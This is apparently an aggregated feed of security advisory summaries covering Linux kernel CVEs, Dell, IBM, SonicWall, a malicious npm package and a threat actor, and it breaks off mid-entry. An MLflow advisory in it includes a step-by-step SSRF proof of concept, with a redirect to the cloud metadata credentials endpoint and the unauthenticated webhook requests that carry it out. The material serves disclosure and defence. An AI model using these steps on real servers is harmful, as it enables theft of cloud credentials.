In the Linux kernel, the following vulnerability has been resolved: Input: synaptics-rmi4 - zero report size on F54 work error In rmi_f54_work(), if an error occurs during report request or command verification, the code jumped directly to the 'error' label, bypassing the 'abort' label where f54->report_size was normally zeroed out. This left f54->report_size containing its previous successful payload size. If a user then altered the V4L2 format to a smaller size, and a subsequent run failed, rmi_f54_buffer_queue() would copy the stale, larger payload size into the shrunken V4L2 buffer, causing a heap buffer overflow. Fix this by merging the 'abort' and 'error' labels into a single 'out' exit path, and ensuring that f54->report_size is always set to 0 on failure by checking for error and zeroing the local report_size first.
CVE-2026-66153 is a high-severity vulnerability in the SonicWall NetExtender Linux client. It involves improper handling of temporary files during the NEService auto-upgrade process, allowing an attacker to manipulate file paths due to insecure link resolution before file access. This can lead to unauthorized file access or modification. No patch or official remediation guidance is currently available from the vendor. The vulnerability requires local access with low privileges and has a high attack complexity. There are no known exploits in the wild at this time.
.NET 9.0 on Red Hat Enterprise Linux 9.6 has multiple security vulnerabilities including denial of service, privilege escalation, security feature bypass, local code execution, information disclosure, and network spoofing. These issues affect the .NET runtime, ASP.NET Core, and .NET Framework components. Red Hat has released an update addressing these vulnerabilities in SDK version 9.0.120 and runtime version 9.0.19. The update also includes bug fixes and enhancements related to build processes.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (ff42d765d0c2f6af53e4be5a9cf26ef34b3a36accf199acfb7d53af40b8dc2a6)
On npm install, the declared preinstall script runs index.js, which collects the installer's hostname, OS username, home directory, cwd (INIT_CWD of the consuming project), local IPv4 address, egress public IP (fetched from api.ipify.org, icanhazip.com, and ifconfig.me), DNS resolver information, and the parent project's package.json fields (name, author, repository, homepage). The collected data is transmitted to the hardcoded third-party callback host da51rv0hb2uc72tg4gvgdepinjcalbk1.oast.fun via both DNS queries (hex-chunked subdomain lookups) and HTTPS POST to /poc/<uuid>. The package name and version pattern are consistent with a dependency-confusion lure targeting an internal scope; the beacon fires automatically at install time without any caller opt-in. Although the author metadata self-labels this as an authorized proof-of-concept, the code performs the full exploitation shape (auto-exec on install, installer-identifier collection, egress to an attacker-controlled callback) against anyone who resolves this public name.
## Source: ossf-package-analysis (3ade0d327c85a937a9115a25153971f25b66eb6c838a6a82b171e054afc285c6)
The OpenSSF Package Analysis project identified 'stillm4ddpocs-demo-gadget' @ 999.9.10 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
CVE-2026-74631 is a high-severity vulnerability in the Linux kernel's SMC (Shared Memory Communications) networking subsystem. It involves a reference count imbalance in the smc_rx_splice function, which can lead to use-after-free conditions due to improper handling of page and socket references during splice operations. This flaw could allow an attacker with local access to cause memory corruption, potentially leading to system compromise.
CVE-2026-74661 is a use-after-free vulnerability in the mac802154 subsystem of the Linux kernel. The issue occurs in the beacon worker function, which continues to use freed network device private data after interface teardown. This flaw can lead to memory corruption and potentially allow an attacker with local privileges to compromise system confidentiality, integrity, and availability. The vulnerability affects multiple Linux kernel versions and has been fixed in version 6.8.0-1036.39.
A use-after-free vulnerability was identified and fixed in the Linux kernel's IPv4 nexthop exception handling function fib_nhc_update_mtu(). The issue arises because the function walks the nexthop exception table without proper synchronization with PMTU exception updates, leading to potential access of freed memory. This flaw could allow local attackers to cause system instability or compromise. The vulnerability affects multiple Linux kernel versions, particularly those prior to fixed releases in the 5.15.0 series and certain 4.4.0 builds. A patch addressing this issue is available.
CVE-2026-74637 is a use-after-free vulnerability in the Linux kernel's perf subsystem. It occurs when a sibling event is detached but kept alive, leading to a stale group_leader pointer dereference after the leader is freed. This flaw can cause kernel crashes and potentially allow an attacker with local privileges to compromise system integrity. The issue is fixed by promoting detached siblings to singletons and correcting related event state handling.
CVE-2026-74615 is a vulnerability in the Linux kernel's VXLAN driver where the ageing timer is armed on a network device that is down. This can lead to a use-after-free condition due to the timer being queued on freed memory, causing kernel memory corruption detected by KASAN. The flaw arises because the driver does not check if the device is running before arming the timer. The issue affects multiple Linux kernel versions prior to 5.15.0-1117.124~20.04.1 and related builds. A fix has been released in several 5.15.0 kernel versions. The vulnerability requires local privileges and can lead to a system compromise with high impact on confidentiality, integrity, and availability.
CVE-2026-74604 is a high severity use-after-free vulnerability in the Linux kernel's thermal hardware monitoring driver. It was introduced by a commit that removed a necessary check in the error path of thermal_add_hwmon_sysfs(), leading to unsafe memory access. This flaw could allow local attackers to cause system compromise by exploiting the use-after-free condition. Multiple Linux kernel versions prior to 5.15.0-1117.124~20.04.1 and several specific older versions are affected. A fix has been released in various 5.15.0 kernel updates for Ubuntu 20.04 LTS. No known exploits in the wild have been reported.
In the Linux kernel, the following vulnerability has been resolved: mm/damon/ops-common: putback folios on invalid migrate nid damon_pa_migrate() and damos_va_migrate() isolate folios into a local list and then call damon_migrate_pages(). When target_nid is invalid (including the scheme default NUMA_NO_NODE / -1), damon_migrate_pages() returns early without putting the folios back to the LRU. Callers then discard the list head while those folios remain isolated with an extra reference taken by folio_isolate_lru(). The pages stay off the LRU for as long as the mapping exists (anon active+inactive counts drop while RSS does not), and the leftover references can pin the pages after the mapping is gone. Put the folios back on the invalid-nid path so ignored migration requests still return them to the LRU.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
Multiple security vulnerabilities affecting the Linux kernel for Raspberry Pi systems were addressed in this update. These include speculative execution flaws in AMD processors that could expose sensitive information, issues in AMD Zen 2 processors that might allow privilege escalation, and entropy handling flaws in AMD Zen 5 processors affecting randomness quality. Additionally, numerous security issues across a wide range of Linux kernel subsystems and drivers were fixed. These vulnerabilities could potentially allow local attackers to compromise system integrity or confidentiality. The update requires a system reboot and recompilation of third-party kernel modules due to ABI changes.
UAT-10147 is a sophisticated Chinese-speaking intrusion actor deploying a cross-platform backdoor named SPECTRE targeting IIS and Linux servers. SPECTRE integrates advanced post-exploitation features including process injection, credential theft, anti-analysis, and kernel-level EDR bypass via Bring Your Own Virtual Driver (BYOVD) techniques. The campaign combines SEO fraud monetization with custom malware, open-source tools, and AI-assisted development workflows. The Windows variant of SPECTRE uses runtime API resolution and string encryption to evade static detection and includes a comprehensive command set for system control and persistence. The Linux variant incorporates a kernel rootkit with similar advanced capabilities. The actor also uses in-memory web shells and sophisticated evasion methods. No patch or remediation is indicated in the available data.
CVE-2026-16819 is a high-severity vulnerability affecting IBM AIX versions 7.2 and 7.3, as well as IBM PowerVM VIOS 4.1. It involves a time-of-check to time-of-use (TOCTOU) race condition that could allow a local attacker to cause denial of service and compromise data integrity.
Dell Command Update (DCU), versions prior to 5.7.1, contain a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.
Dell Command Update (DCU) versions prior to 5.7.1 contain a Time-of-check Time-of-use (TOCTOU) race condition vulnerability. This flaw allows a low privileged local attacker to potentially elevate their privileges. The vulnerability is identified as CWE-367 and has a high severity rating with a CVSS score of 7.3. It requires local access and user interaction to exploit. No official patch information is provided in the input data.